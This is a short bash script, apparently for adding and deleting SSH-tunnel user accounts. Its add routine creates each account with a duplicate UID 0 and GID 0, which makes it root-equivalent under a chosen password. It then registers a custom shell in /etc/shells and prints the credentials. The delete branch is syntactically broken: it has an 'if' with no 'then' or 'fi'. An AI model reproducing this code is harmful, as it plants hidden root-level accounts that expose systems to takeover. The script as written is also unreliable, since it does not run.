#!/bin/bash
function Usage
{
    echo "Usage:"
    echo -e "\tAdduser: add <user> <password>"
    echo -e "\tDeluser: del <user>"
    exit
}

if [ $1 ] && [ $2 ]
then
    if [[ $1 =~ "add" ]] && [ $2 ] && [ $3 ]
    then
        useradd --shell /bin/ssh-tunnel --gid 0 -o --uid 0 --home /dev/null $2
        echo -e "$3\n$3" | passwd $2 > /dev/null
        echo -e '#!/bin/bash\nbash -r -c read\n' >> /bin/ssh-tunnel
        chmod a+x /bin/ssh-tunnel
        echo '/bin/ssh-tunnel' >> /etc/shells
        echo -e "[+] User: $2 \n[+] Pass: $3 \n[+] Shell:/bin/ssh-tunnel \n[+] Added to system"
    elif [[ $1 =~ "del" ]] && [ $2 ]
    then
        if userdel $2
        echo -e "[+] User $2 deleted from system"
    else
        Usage
    fi
fi